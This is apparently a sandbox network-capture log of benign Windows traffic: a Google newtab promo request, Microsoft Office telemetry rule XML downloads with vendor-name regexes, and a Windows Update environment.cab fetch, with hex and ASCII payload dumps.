2024-11-17 21:20:29 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 21:20:29 UTC	933	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 21:20:29 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 21:20:29 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-17 21:20:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:30 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:30 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0ff73494-201e-0085-1d7b-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212030Z-164f84587bfbvgrghC1DFWbs7w00000004v0000000007rbu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:30 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:30 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212030Z-16547b76f7fr5rfnhC1DFW0am400000002cg0000000045u0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:30 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: fd06302c-e01e-0052-3f7f-38d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212030Z-1866b5c5fbbg9tvxhC1DFWy9mg00000000qg0000000094cq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:30 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212030Z-1866b5c5fbb2t6txhC1DFWa2qc00000004yg000000001hbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:30 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2012891f-801e-00ac-7a8d-35fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212030Z-164f84587bf7jb9dhC1DFWkay400000004kg000000003f7f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:30 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49f8120e-101e-0046-25ca-3691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212031Z-164f84587bf6n6jwhC1DFW90fn000000041000000000ctbw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:30 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: eef1fd5d-a01e-006f-4c9a-3613cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212031Z-164f84587bftbpb6hC1DFWm4kg00000003qg000000003hsu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:30 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 33178deb-401e-0048-6eb6-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212031Z-16547b76f7f64d6whC1DFWf9vn00000003h00000000017au x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:31 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212031Z-16547b76f7fljddfhC1DFWeqbs00000005n000000000kz6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:31 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212031Z-16547b76f7f64d6whC1DFWf9vn00000003cg00000000fhw4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49762	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:31 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=U4d3clUP7Mz9V6w&MD=dgcXYhlg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-17 21:20:31 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 62f9b1db-7992-4d60-b6ab-dd69e0911f9b MS-RequestId: 3262148a-0f02-4f22-ab86-476fc8cb0fc6 MS-CV: 53ZcP5NCikW5a2iP.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 17 Nov 2024 21:20:31 GMT Connection: close Content-Length: 24490
2024-11-17 21:20:31 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( 